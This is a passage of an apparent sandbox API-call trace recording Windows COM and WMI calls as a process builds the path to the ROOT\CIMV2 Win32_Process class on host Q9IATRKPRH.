Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0135.520] WbemDefPath:IUnknown:Release (This=0x1bc3f500) returned 0x2 [0135.520] WbemDefPath:IUnknown:Release (This=0x1bc3f500) returned 0x1 [0135.520] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0135.520] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0135.520] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3f500) returned 0x0 [0135.520] WbemDefPath:IUnknown:AddRef (This=0x1bc3f500) returned 0x3 [0135.520] WbemDefPath:IUnknown:Release (This=0x1bc3f500) returned 0x2 [0135.520] WbemDefPath:IWbemPath:SetText (This=0x1bc3f500, uMode=0x4, pszPath="") returned 0x0 [0135.520] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f500, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0135.520] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f440, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0135.520] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc3f500, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0135.520] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3f500, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0135.520] WbemDefPath:IWbemPath:SetServer (This=0x1bc3f500, Name="Q9IATRKPRH") returned 0x0 [0135.520] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0135.520] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0135.520] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0135.520] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.525] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc586c0) returned 0x0 [0135.525] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc586c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0135.526] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc586c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3f5c0) returned 0x0 [0135.526] WbemDefPath:IUnknown:Release (This=0x1bc586c0) returned 0x0 [0135.526] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3f5c0) returned 0x0 [0135.526] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0135.526] WbemDefPath:IUnknown:AddRef (This=0x1bc3f5c0) returned 0x3 [0135.526] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0135.526] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0135.526] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc58700) returned 0x0 [0135.526] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc58700, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.526] WbemDefPath:IUnknown:Release (This=0x1bc58700) returned 0x3 [0135.526] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0135.527] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0135.527] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0135.527] WbemDefPath:IUnknown:Release (This=0x1bc3f5c0) returned 0x2 [0135.527] WbemDefPath:IUnknown:Release (This=0x1bc3f5c0) returned 0x1 [0135.527] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0135.527] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0135.527] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3f5c0) returned 0x0 [0135.527] WbemDefPath:IUnknown:AddRef (This=0x1bc3f5c0) returned 0x3 [0135.527] WbemDefPath:IUnknown:Release (This=0x1bc3f5c0) returned 0x2 [0135.527] WbemDefPath:IWbemPath:SetText (This=0x1bc3f5c0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0135.527] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f500, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0135.527] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f5c0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0135.527] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f5c0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0135.527] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f5c0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0135.527] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc3f500) returned 0x0 [0135.527] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f5c0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0135.528] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f5c0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0135.528] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f5c0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0135.528] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3f500, uIndex=0x0, pszName="ROOT") returned 0x0 [0135.528] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f5c0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0135.528] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f5c0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0135.528] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3f500, uIndex=0x1, pszName="CIMV2") returned 0x0 [0135.528] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc3f500, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0135.528] WbemDefPath:IWbemPath:SetClassName (This=0x1bc3f500, Name="Win32_Process") returned 0x0 [0135.528] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f500, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0135.528] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f500, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0135.528] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f500, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0135.528] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f500, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0135.528] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f500, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0135.528] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f500, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0135.528] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f500, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0135.528] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f500, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0135.529] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f2c0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0135.529] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0135.529] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0135.529] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f500, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0135.529] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f500, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0135.529] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0135.529] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0135.529] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0135.529] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.531] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc58960) returned 0x0 [0135.531] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc58960, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0135.531] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc58960, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc3f680) returned 0x0 [0135.531] WbemDefPath:IUnknown:Release (This=0x1bc58960) returned 0x0 [0135.531] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f680, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc3f680) returned 0x0 [0135.531] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f680, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0135.532] WbemDefPath:IUnknown:AddRef (This=0x1bc3f680) returned 0x3 [0135.532] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f680, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0135.532] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f680, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0135.532] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f680, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc589a0) returned 0x0 [0135.532] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc589a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.532] WbemDefPath:IUnknown:Release (This=0x1bc589a0) returned 0x3 [0135.532] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0135.532] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0135.532] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f680, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0135.532] WbemDefPath:IUnknown:Release (This=0x1bc3f680) returned 0x2 [0135.532] WbemDefPath:IUnknown:Release (This=0x1bc3f680) returned 0x1 [0135.532] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0135.532] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0135.532] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f680, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc3f680) returned 0x0 [0135.532] WbemDefPath:IUnknown:AddRef (This=0x1bc3f680) returned 0x3 [0135.532] WbemDefPath:IUnknown:Release (This=0x1bc3f680) returned 0x2 [0135.533] WbemDefPath:IWbemPath:SetText (This=0x1bc3f680, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0135.533] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f2c0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0135.533] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0135.533] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.533] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0135.533] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0135.533] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0135.533] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.535] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc589e0) returned 0x0 [0135.535] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc589e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0135.535] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc589e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3f740) returned 0x0 [0135.535] WbemDefPath:IUnknown:Release (This=0x1bc589e0) returned 0x0 [0135.535] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3f740) returned 0x0 [0135.535] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0135.535] WbemDefPath:IUnknown:AddRef (This=0x1bc3f740) returned 0x3 [0135.535] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0135.535] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0135.535] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc58a20) returned 0x0 [0135.536] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc58a20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.536] WbemDefPath:IUnknown:Release (This=0x1bc58a20) returned 0x3 [0135.536] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0135.536] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0135.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0135.536] WbemDefPath:IUnknown:Release (This=0x1bc3f740) returned 0x2 [0135.536] WbemDefPath:IUnknown:Release (This=0x1bc3f740) returned 0x1 [0135.536] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0135.536] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0135.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3f740) returned 0x0 [0135.536] WbemDefPath:IUnknown:AddRef (This=0x1bc3f740) returned 0x3 [0135.536] WbemDefPath:IUnknown:Release (This=0x1bc3f740) returned 0x2 [0135.536] WbemDefPath:IWbemPath:SetText (This=0x1bc3f740, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0135.536] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f680, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 